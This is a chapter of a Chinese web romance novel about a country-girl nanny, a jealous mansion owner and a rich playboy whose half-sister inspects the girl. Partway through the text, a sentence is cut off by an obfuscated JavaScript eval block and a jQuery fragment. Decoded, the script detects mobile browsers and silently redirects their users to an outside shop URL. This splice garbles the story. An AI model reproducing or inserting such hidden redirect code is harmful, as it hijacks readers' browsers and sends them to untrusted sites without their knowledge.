文趣网 > 其他小说 > 纯情保姆火辣辣:豪门美男心尖宠 > 17. 陆先生,你姐姐真漂亮
    晚上九点,后院走廊穿堂风微凉。

    张婶忙完了一天的家务,搬了个小马扎坐在门口揉着后腰,嘴里忍不住轻轻嘶气——多年的老腰伤又犯了。

    何盼娣端着洗衣盆路过,见状二话没说,直接把盆往墙根一搁:“张婶,我给您踩踩吧。我老家都是这么揉的,松得快。”

    张婶一听,连忙摆手推辞:“哎哟不用不用,你干了一整天活,赶紧回屋歇着去。”

    可话音未落,何盼娣已经挽起袖子蹲下身,找准了腰背肌肉的酸痛点,稳稳地落下去。

    她从小在农村长大,下地干活、挑担子,最懂怎么借力松筋骨。那力道不重不飘,专治这种日积月累的劳损。

    张婶一开始还拘谨着,可没过两分钟,就舒服得直哼哼:“哎哟……舒坦!小何,你这手艺绝了!”

    第二天一早,整个后院就都知道了——新来的小何,踩背一绝。

    韩师傅午休闲来没事,主动凑过来笑:“来,小何,给我也踩两脚,我站一天灶台腿也酸。”

    福伯摇着扇子看热闹,笑着打趣:“那我也排个队,年纪老了浑身僵硬。”

    短短几天,她就用最朴素的善意,融进了这群人的日常。

    有天深夜,福伯起夜,忽然头晕发懵,扶着墙站不稳,老高血压隐隐犯上来,不算凶险,却也难受。

    恰逢何盼娣去公共洗衣房烘干衣服,一出门就看见他脸色发白。

    她没慌,步子稳得很。

    立马上前扶住老人,扶回房间躺好,倒水、找降压药、拆包装、试水温,动作一气呵成。

    怕他夜里出事,她还每隔十分钟过来敲一次门,确认状态平稳。

    第二天一早,福伯逢人就夸:“小何这孩子,遇事太稳了,沉着、细心、靠谱。昨晚要是没人在,我自己都撑不住。”

    别墅里人人听着,好感度一层层叠上去。

    就连沉默寡言的司机老刘,平时不爱凑热闹,有次换轮胎搬不动工具,刚好被路过的何盼娣看见。

    她二话不说上前帮忙搭手抬重物,农村练出来的力气,比看着结实太多。

    老刘事后跟人感叹:“这小姑娘一点不娇气,是真能干。”

    久而久之,整个御景园从上到下,所有人都打心眼里喜欢上了何盼娣。

    这些细碎的口碑,一句一句,最终全都飘进了傅珈珩的耳朵里。

    她对谁都真诚,对谁都愿意搭把手,对谁都柔软热心。

    这一刻,傅珈珩的心底第一次浮起一丝极淡、极隐晦、几乎连他自己都察觉不到的落差感。

    以前他理所当然地默认,她的懂事与温顺,不过是一个员工对老板的本分。

    现在他才恍然明白——

    那是她刻在骨子里的品性。她对这个世界,本来就这么好。

    -

    陆淮偶尔会习惯性发一条消息。

    从前不用问,傍晚一定见得到人。现在所有交集,只剩下冰冷的微信对话框。

    第一天夜里,陆淮处理完手头最后一份文件,随手在对话框里敲下一句:【有空出来吃个饭?】

    他靠在椅背上,习惯性地等着屏幕亮起,可那条消息却像石沉大海,整整两个小时没有半点回音。

    直到夜深,何盼娣才终于回了一句:【刚才在擦整栋别墅的落地窗,刚忙完。】

    陆淮盯着那行字,沉默良久。

    他第一次如此清晰地意识到:她的世界,已经彻底缩进了那道高高的围墙里。

    第二天,他敛起情绪,再次发消息试探:【今晚休息吗?】

    这一次,她的回复干脆又规矩:【不行的,老板安排了宴会备料,今晚还要整理食材清单。】

    到了第三天深夜,陆淮难得得了空闲,又试着发了一句过去。

    这一次,他等了半个小时,只等来冷冰冰的两个字:【睡了。】

    短短三天,从满怀期待到频频碰壁,陆淮的心像是坐了一趟失控的过山车,巨大的落差感让他连指尖都透着几分难以言喻的烦躁。

    陆淮盯着屏幕上那冷冰冰的三个字,目光停滞了好几秒。

    他脑海里不由自主地浮现出以前的画面:她坐在他对面啃肉串,腮帮子鼓鼓囊囊的,说话总是含含糊糊;吃到辣的时候,会忍不住倒吸一口凉气;觉得好吃的时候,那双眼睛就会亮晶晶地弯起来。

    可现在,那些鲜活生动的表情,全都变成了手机屏幕上这行干瘪的字。

    他沉默着把手机扣在桌面上,整个人往椅背里一靠,仰起头,盯着天花板发了很久的呆。

    以前,他只觉得这种充满烟火气的生活很新鲜。可现在,他隐约觉得那股“新鲜劲”好像变质了。他说不清它究竟发酵成了什么,但他无比清楚地知道——自己开始在意她了。

    在意她今天累不累,在意她干了什么,甚至在意……她跟谁说了话。

    -

    最先发现陆淮反常的人,是她姐姐苏曼。

    集团每个月例会,他从前十有八九踩着点来,开完就走,底下那些一年赚不了几个钱的小业务,他连报表都懒得翻。

    可最近不一样,家政板块的负责人连续两周被叫去汇报。

    御景园合作项目,被他亲自过问了三次。

    甚至连一个保姆中介的佣金比例,他都问了一句:“为什么抽这么高?”

    负责汇报的人受宠若惊,还以为集团终于重视家政业务了。

    -

    陆淮坐在包厢的角落里,指尖夹着一根没点燃的烟。

    包厢里烟雾缭绕,几个狐朋狗友还在起哄,问他最近怎么转了性,天天往人家别墅区跑。

    他懒得搭理,只扯了扯唇角,敷衍地笑了笑。

    就在这时,包厢的门被推开了。

    原本喧闹的空气瞬间安静了一瞬,走进来的是个女人。

    她穿着一身剪裁极简的月白色真丝衬衫,长发随意挽起,没有戴任何夸张的首饰,但那张脸,还有那种从骨子里透出来的清冷和从容,压得在场的人连呼吸都放轻了。

    陆淮看到来人,挑了挑眉,把烟扔在桌上,懒洋洋地靠向椅背:“哟,姐,什么风把您吹来了?”

    苏曼连个多余的眼神都没给包厢里的其他人,径直走到陆淮面前,居高临下地看了他两秒。

    “出来一下。”

    陆淮耸了耸肩,起身跟着她走出了包厢。

    走廊里很安静。

    苏曼靠在墙上,双手环胸,目光锐利地盯着他:“听说你最近天天去傅珈珩的别墅区‘制造偶遇’?”

    陆淮双手插在裤兜里,笑得一脸无辜:“姐,你听谁说的?我那是去视察工作。那家家政公司可是咱们陆氏的,我关心一下基层员工怎么了?”

    苏曼看着他这副死鸭子嘴硬的样子,忽然觉得有些可笑。

    她是陆家正房嫡长女,比陆淮足足大十岁,常年独掌海外分公司,商界里从没人敢拿情爱琐事跟她打趣。

    两人出身天差地别,她是名正言顺的大小姐,陆淮是父亲在外养出来的私生子,从小到大,两人一同亲眼熬完陆家最不堪的底色——父亲遍地情人,无数女人困在虚无的承诺里耗掉半生,陆淮生母无名无分,守着一座空房子相思到老,终日郁郁。

    也正因从小到大看尽婚姻里的欺骗、始乱终弃,姐弟俩不约而同都打定主意不婚。

    她早就看透了,男人这种生物,骨子里就是薄情的。

    所以她清醒,她不婚,她只认钱。

    她也一直以为,陆淮会跟她一样。

    毕竟,陆淮的母亲就是被那个男人毁掉的一生。

    但苏曼是看透情爱利弊主动选择独身,陆淮却多了一层根深蒂固的自我厌恶。

    “陆淮。”

    苏曼的目光像一把淬了冰的手术刀,精准地剖开他所有的伪装。

    “你少拿你爹那一套来糊弄我。你不是玩玩新鲜感。你是故意往她身边凑,你早走火入魔了。”

    陆淮脸上的笑容僵了一下。

    他垂下眼,掩去眸底一闪而过的慌乱,再抬起头时,又恢复了那副吊儿郎当的模样:“姐,你想多了。我就是觉得那小保姆挺有意思的,逗逗她而已。”

    “有意思?”

    苏曼冷笑了一声:“你陆淮什么女人没见过?你会对一个小保姆‘有意思’?”

    她上前一步,目光死死钉在他脸上。

    “你平时最看不起你爹那种深情薄情的做派,你天天把‘不婚主义’挂在嘴边,说结婚就是害人,说你陆家基因太烂,不能祸害好姑娘。”

    “结果呢?你现在干的这些事,比你爹当年还要下作。”

    陆淮的喉结滚了滚,没说话。

    苏曼看着他这副沉默的样子,心里已经彻底明白了。

    她深吸了一口气,语气里带了几分恨铁不成钢的意味。

    “陆淮,你记住。”

    “傅珈珩傲慢,他以为自己掌控一切,其实他早就当局者迷,连自己什么时候栽进去的都不知道。”

    “而你呢?你嘴硬,你拿‘不婚’当挡箭牌,你以为你是在保护她?你是在把她往外推。”

    “你们两个,一个傲慢错过,一个嘴硬拖延。”

    “最后能留住她的,我猜谁都不是!”

    陆淮的手指在裤兜里死死攥紧。

    他张了张嘴,想反驳,却发现一个字都说不出来。

    ……

    第二天。

    陆氏和傅氏正好有个旧项目的补充协议要谈。

    陆淮刚准备起身,苏曼却先一步拿起了桌上的文件。

    “我替你去。”

    陆淮一愣,眉头微挑:“你不是最烦这种应酬?”

    苏曼连头都没抬,翻了一页文件:“放心,我不是来看她。”

    陆淮:“那你是来干嘛的?”

    苏曼抬起眼,目光凉凉地扫过他:“我是来看你病到什么程度了。”

    陆淮:“……”

    他磨了磨牙,到底没敢拦着。

    他知道这位姐姐的脾气,一旦认定某件事,九头牛都拉不回来。

    ……

    半小时后,傅家别墅。

    福伯将两人迎进客厅。

    傅珈珩从楼上走下来,三人分宾主落座,开始谈正事。

    客厅里气氛很安静,只有翻动文件和低声交谈的动静。

    后厨的门帘被轻轻掀开,何盼娣端着一个木质托盘走出来。

    她低着头,步伐放得很轻,走到茶几旁,把茶一杯一杯地放好。

    第一杯,傅珈珩。

    第二杯,苏曼。

    第三杯,陆淮。

    放下杯子她就老老实实退下去了。

    苏曼端起茶杯,轻轻抿了一口。

    陆淮坐在旁边,看似漫不经心地翻着文件,实则耳朵竖得老高。

    他在等,等苏曼开口。

    苏曼偏不如他意。

    她放下茶杯,语气平淡得像是在谈论天气:“傅总,这份补充协议的条款,还需要再确认一下。”

    傅珈珩点头:“好。”

    两人继续谈正事。

    陆淮:“……”

    他磨了磨牙,心里有些烦躁。

    这位姐姐,今天怎么这么沉得住气?

    ……

    而沙发上,苏曼的目光,自始至终都没有离开过何盼娣的背影。

    她打量着面前这个穿着黑白制服的小姑娘——这就是让陆淮那个混世魔王天天往傅家跑的人?她想象过很多种样子,唯独没想过这种。女孩的眼睛干干净净,像刚从井里打上来的水,见到底了。

    她没有故意多看陆淮一眼,甚至放完茶就走,连多余的停顿都没有。

    苏曼垂下眼,端起面前的茶杯,轻轻抿了一口。

    她忽然笑了一下。

    她终于知道,为什么陆淮最近会开始绕路了。

    不是因为这姑娘多会撩人。恰恰相反,她根本没撩。

    客厅里,三个豪门里长大的人事情快谈完了。

    何盼娣走到茶几旁,把刚才收走的空杯子换下来。

    她低着头,动作很轻,放完杯子,准备退出去,她无意微微抬了一下眼。

    然后,她愣住了。

    不是因为陆淮,而是因为坐在陆淮旁边的那个女人。

    那女人很高,黑色西装剪裁利落,头发挽得一丝不苟,五官精致眉眼冷冽,但那双眼睛又清又亮,像是能看透人心。连坐姿都端端正正,透着一股从骨子里散发出来的清冷与从容。

    何盼娣忍不住在心里感慨:这一家人的长相,是真的好。

    陆先生已经够好看了,没想到他姐姐更好看。

    她把托盘端稳,心里忽然冒出一句特别朴素的话:

    陆家的种子,是真不错。

    这个念头刚冒出来,她又赶紧掐断,觉得自己想远了。陆先生说过他不婚,也不喜欢小孩儿。

    “苏小姐。”

    她的声音软软的,带着点乡下的口音,却莫名让人觉得舒服。

    苏曼抬起眼,看着她。

    何盼娣忍不住一脸真诚地说:“你姐姐真漂亮。”

    苏曼愣了一下。

    陆淮也愣住了。

    他手里的文件差点掉在地上。

    他猛地转过头,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677190|207529||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一双桃花眼瞪得老大,耳根以肉眼可见的速度泛起了一层薄红。

    这算什么?

    这姑娘夸他姐漂亮……那夸他吗?

    何盼娣根本没注意陆淮的反应,她看着苏曼,眼神亮晶晶的,继续在心里疯狂打分。

    她以前只觉得陆淮长得水灵漂亮,是个养人的好种子。

    但现在看到苏曼,她彻底认证了——

    这绝对是顶级好种子啊!

    一家子长相都拔尖。可惜陆淮不喜欢孩子,这基因好浪费啊!

    “谢谢。”苏曼看着她那双毫无波澜的眼睛,心里微微一动。

    她见过太多女人看陆淮的眼神。贪婪的、爱慕的、算计的、痴迷的。

    唯独这个女孩,看陆淮的眼神,就像是在看……一株长得特别好看的多肉植物。

    纯粹的欣赏,没有占有欲。

    “姐,看够了吗?”陆淮终于忍不住了,他有些不自在地咳了一声,试图挡住苏曼的视线,“看够了就走吧,别耽误人家干活。”

    苏曼收回目光,嘴角勾起一抹极淡的弧度。

    她站起身,整理了一下衣摆。

    “眼光不错。”她轻声说道,目光扫过陆淮的背影,眼底闪过一丝复杂的情绪。

    至少,比某个嘴硬心软的傻弟弟强多了。

    陆淮站在原地,看着何盼娣继续低头擦柜子的背影,心里像是被猫爪子挠了一样。

    她刚才那句“你姐姐真漂亮”,到底是什么意思?

    是不是在暗示他……不够漂亮?

    他越想越不对劲,脚步不由自主地往前迈了一步。

    “何盼娣。”他压低声音,语气里带着一丝连自己都没察觉的委屈。

    “我姐漂亮,我不漂亮吗?”

    何盼娣愣了一下,转过头,一脸茫然地看着他:“啊?”

    她眨了眨眼,认真地想了想,然后点了点头:“漂亮啊。”

    “陆先生长得也好看,水灵灵的。”

    陆淮:“……”

    他深吸了一口气,觉得自己的胸口像是被什么东西堵住了一样。

    水灵灵的?

    这算什么评价?

    他堂堂陆氏集团的二少爷,在她眼里,就只是个“水灵灵”的形容词?

    他正想再说什么,忽然感觉到一道冰冷的视线落在自己身上。

    他转过头。

    傅珈珩正坐在沙发上,手里端着一杯茶,目光沉沉地看着他。

    那眼神,像是在看一个不知死活的小偷。

    陆淮挑了挑眉,毫不示弱地迎上他的视线:“傅总,看什么?”

    傅珈珩没有说话。

    他只是垂下眼,看着杯子里漂浮的茶叶,指尖微微收紧。

    他刚才听到了。

    那姑娘说,陆淮的姐姐真漂亮。还说,陆淮长得水灵。

    她夸了陆淮。她对着陆淮笑了。

    傅珈珩觉得自己的胸口像是被什么东西狠狠撞了一下。

    他不知道这种感觉叫什么。

    他只知道,他不想看到何盼娣对着陆淮笑。

    一点都不想。

    “陆淮。”他忽然开口,声音低沉,带着一丝不易察觉的冷意。

    “茶喝完了,你可以走了。”

    陆淮愣了一下。

    他看了看傅珈珩那张冷得能结冰的脸,又看了看何盼娣那张毫无波澜的脸,忽然觉得有些好笑。

    他勾起唇角,慢条斯理地放下茶杯:“好啊。”

    姐姐苏曼的车还在外面等他。

    他站起身,理了理西装的袖口,冲着何盼娣眨了眨眼:“小保姆,下次我再来。”

    说完,他转身走了。

    客厅里再次安静下来。

    傅珈珩坐在沙发上,目光落在何盼娣身上:“你觉得陆淮这个人怎么样?”

    何盼娣正在收拾茶几,闻言抬起头,一脸无辜地点了点头。

    “嗯,陆先生人挺好的,经常来看望傅先生。”

    傅珈珩看着她那张干净的脸,忽然觉得有些烦躁。

    他不知道自己在烦什么。

    他只是觉得,那个叫陆淮的家伙,看何盼娣的眼神,太碍眼了。

    他端起茶杯,喝了一口。

    茶有点凉了。

    就像他现在的心情一样。

    他放下茶杯,声音低了下来,带着一丝连自己都没察觉的酸意。

    “以后,他来的时候,你不用出来倒茶。”

    何盼娣愣了一下:“为什么?”

    傅珈珩没有回答。

    他只是转过头,看向窗外。

    “因为……”

    他顿了顿,声音更轻了。

    “我不喜欢。”

    何盼娣眨了眨眼,一脸茫然。

    她不明白,傅总为什么不喜欢陆先生来。

    但她还是乖乖地点了点头:“好的,傅总。”

    傅珈珩看着她,心里的那股烦躁,忽然就散了。

    他不知道这是什么感觉。他只知道,他不想让任何人,用那种眼神看她。

    哪怕是陆淮,也不行。

    ……

    回程的车上。

    苏曼靠在椅背上,望着窗外飞速倒退的街景,淡淡地开了口。

    “陆氏集团一年几百亿营收。”

    她语气平静得像是在谈论今天的天气。

    “终于轮到保姆业务救集团了?”

    陆淮坐在副驾驶,脸上的表情僵了一下,像是被人当面扇了一巴掌,偏偏还无法反驳。

    苏曼转过头,看着他这副吃瘪的样子,继续说道:“放心。”

    陆淮挑眉:“什么放心?”

    苏曼看着他,一字一句地说:“她现在还没看上你。”

    停了一下,她又补了一句:“不过,你快完了。”

    陆淮笑了一声,语气硬邦邦的:“姐,你越来越会开玩笑了。”

    苏坐进车里,关上车门。隔着车窗,她最后看了一眼还站在门口的何盼娣。女孩已经继续踮着脚擦柜子去了,像是什么都没发生过一样。

    苏曼忽然想起很多年前。

    她们那个风流成性的父亲,看女人的时候,眼睛里永远带着掠夺。

    但陆淮不一样,他刚才站在那里,从头到尾看的不是姑娘,是姑娘有没有看他。

    这个从小把“不婚主义”挂在嘴边的弟弟,大概自己还不知道——他已经开始在意一个人是不是在意自己了。

    这回不是陆淮在挑人,是陆淮被人挑剩下了,他自己还不知道。这才是最有意思的地方。

    她忽然觉得有点好笑。